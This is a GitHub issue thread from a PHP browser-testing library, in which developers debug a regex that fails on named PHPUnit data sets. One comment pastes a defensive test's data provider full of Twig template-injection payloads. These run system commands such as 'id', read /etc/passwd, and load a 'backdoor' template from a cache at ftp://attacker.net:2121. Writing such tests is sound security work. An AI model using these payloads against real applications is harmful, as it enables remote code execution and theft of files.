Undefined array key 1 when the test failed about browser HOT 17 CLOSED

We work at the same place, actually and we exchanged about that. 😉
I should be able to test the PR and the ideas I left here in the next two weeks while updating the project I am working on.

from browser.

This is because the name normalization is required to create the error or failure log file with the response to be able to see what's happening.

The generated error looks like a what PHPUnit generates when a test fails so the regex matches partially. I'm not sure it's strictly related to the data provider but they interfere with the error generated by assertSeeIn.

I am not sure how we could solve this. I hope @kbond or @nikophil will have a quick answer for you.

Can you provide a reproducible test case? It may help.

from browser.

@flohw I will try to create a reproducible test; however, it might not be very soon 😞
Thank you for the quick reply.

from browser.

That PR is now merged so hopefully now that we have tests, we can solve this once and for all. We should add some of @0x346e3730's data provider names as they are mighty complex!

from browser.

I encountered on a case when I got:

Undefined array key 1

when running a test case with dataProvider with failure. Dug a bit deeper and found that:

App\Tests\…Test::test… with data set "asd" ('asdasd', true)

is not capture via regex of method: \Zenstruck\Browser\Test\BrowserExtension::normalizeTestName. If I debug a regex:

BUT if I remove that orphan parenthesis:

everything is fine, at least in regex101 but not in preg.

I guess it's added for nested arguments list but it's failing. How do we proceed with that?

PS: \preg_match('/^([\w:\\\\\]+)(.+"([\w ]+)".+?$/', $name, $matches); (after exported from regex101) works but doesn't capture the data.

from browser.

Thanks for the detailed explaination @flohw!

from browser.

@flohw We are using PHP 8.1. Somehow the regex is not working properly:

$browser->assertSeeIn('#main-menu > ul > li > span', 'Label')

gives us Undefined array key 1 instead it should give us:

The text "Label" was not found in the text of the element matching css "#main-menu > ul > li > a > span".

If the name is not normalized at all, it gives the correct message. We are using data providers for this particular scenario, would that be an issue maybe?

from browser.

After some investigation with xdebug, the problem looks to be the regular expression in BrowserExtension which didn't handle data set with custom names.

Here is my data provider which I thought wouldn't be needed:

public function authentications(): \Generator
{
    yield 'as admin' => ['admin', 'password'];
    yield 'as member' => ['14-01-34', 'password'];
}

The normalizeTestName method work properly when the dataprovider don't have a name but the regular expression don't work when the data set is named.

I'll try to provide a patch 🙂

from browser.

Are you able to find a regex string that properly captures the required data?

from browser.

First, I want to find out what this regex is about. Especially this part: (.+"([\w ]+)".+?.

from browser.

@flohw can you shed any light here.

This is a hard issue to diagnose as we can't test it outside of real apps using it.

from browser.

Hello 🙂

This part of the regex is to catch the data provider's index when it's a string.

The regex line 123 is for numeric indexed datasets : first parenthesis matches the test name (([\w:\\\]+) : Namspaced\ClassName::test), The second part (([\w:\\\]+)(.+\#(\d+).+)?) matches everything which follows the test name (with dataset #0 <dataset representation>) the inner parenthesis of this part ((\d+)) catches the index of the dataset when there are no index provided (or index is numeric). You can dump $matches to see which group of parenthesis matches which part. Keep in mind that the zero index matches the whole regex.

If this regex doesn't match, we try to look for a string dataset line 124, spaces are allowed.
Again, first parentheses matches the test name (same as above), second part matches everything which follows the test name (with dataset "datasetname" <dataset representation>), same as above except the dataset name is double quoted (that's why there are double quotes : (.+"([\w ]+)".+)?), finally the inner parenthesis ([\w ]+) is for the dataset name, which should allow any valid array key index, I guess.

I hope all theses explanations are clear. If you find a way to summarize and add it as a comment of the section, that would be appreciated even by me. 😇 Adding named catches in the regex may be enough?

Regarding your issue, if you can provide test name and dataset name, maybe we can help to find a better regex. If your dataset index really is "asd", I really don't know why none of the regex matches.
You can dd($name) in Zenstruck\Browser\Test\BrowserExtension::normalizeTestName to get a better idea of what is happening.

Late investigation on the regex: there may have an extra backslash in the first parenthesis in both cases : ([\w:\\]+) instead of ([\w:\\\]+). I used the original regex as a template for mine, this is a bit weird the error occurs now. If you look closer on regex101 how the parenthesis matches, you'll see that the first closing one (and subsequent parenthesis groups) are not highlighted as the closing bracket is escaped. But a little warning here: regex101 may interpret regex differently than php does. Maybe the php version is important too?

from browser.

I lost half a day before finding this issue, got the error Undefined array key 1 in /srv/app/vendor/zenstruck/browser/src/Browser/Test/BrowserExtension.php on line 127, had to use a custom error handler to find it.

I have a test like this :

/**
 * @dataProvider templateTwigContentProvider
 */
public function testCannotCreateTemplateWithTwigPayload(string $payload): void

With the following provider :

private function templateTwigContentProvider(): Generator
{
    yield 'self' => ['te{{self}}st'];
    yield '_self.env.setCache("ftp://attacker.net:2121") _self.env.loadTemplate("backdoor")' => ['te{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}st'];
    yield '_self.env.registerUndefinedFilterCallback("exec") _self.env.getFilter("id")' => ['te{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}st'];
    yield '\'/etc/passwd\'|file_excerpt(1,30)' => ['te{{\'/etc/passwd\'|file_excerpt(1,30)}}st'];
    yield '[\'id\']|filter(\'system\')' => ['te{{[\'id\']|filter(\'system\')}}st'];
    yield '[0]|reduce(\'system\',\'id\')' => ['te{{[0]|reduce(\'system\',\'id\')}}st'];
    yield '[\'id\']|map(\'system\')|join' => ['te{{[\'id\']|map(\'system\')|join}}st'];
    yield '[\'id\',1]|sort(\'system\')|join' => ['te{{[\'id\',1]|sort(\'system\')|join}}st'];
    yield '[\'cat\x20/etc/passwd\']|filter(\'system\')' => ['te{{[\'cat\x20/etc/passwd\']|filter(\'system\')}}st'];
    yield '[\'cat$IFS/etc/passwd\']|filter(\'system\')' => ['te{{[\'cat$IFS/etc/passwd\']|filter(\'system\')}}st'];
    yield '[\'id\']|filter(\'passthru\')' => ['te{{[\'id\']|filter(\'passthru\')}}st'];
    yield '[\'id\']|map(\'passthru\')' => ['te{{[\'id\']|map(\'passthru\')}}st'];
}

Maybe before finding another regex a quick-win solution would be to trigger an exception if there is no matches to point out that the dataset's name is "wrong" ?

The error comes from $matches in the normalizeTestName method :

private static function normalizeTestName(string $name): string
{
    // Try to match for a numeric data set index. If it didn't, match for a string one.
    if (!\preg_match('#^([\w:\\\]+)(.+\#(\d+).+)?$#', $name, $matches)) {
        \preg_match('#^([\w:\\\]+)(.+"([\w ]+)".+)?$#', $name, $matches);
    }

    $normalized = \strtr($matches[1], '\\:', '-_');

    if (isset($matches[3])) {
        $normalized .= '__data-set-'.\strtr($matches[3], '\\: ', '-_-');
    }

    return $normalized;
}

from browser.

Oi, those are complex names, what's the test name ($name var above) look like for the one that's failing?

from browser.

Hi,
Could sscanf be an easy solution? It may be incomplete if there are double quotes in test names I think. I haven't tried it, just thought about it yesterday.

from browser.

I just found another alternative with php infection : https://github.com/infection/infection/blob/61e6d0645b89104fbd660218d3408219ad7176b5/src/TestFramework/PhpUnit/CommandLine/ArgumentsAndOptionsBuilder.php#L126
The method is called at line 98 of the same class and the first parameter is the second element of the array created line 95.

I just put some note for now. I hope to be able to look on the different solution in the coming weeks while we update our project.

from browser.

@raneomik added some tests for the parsing of the test names in #137. Once merged, let's add these permutations to the data provider and figure it out!

from browser.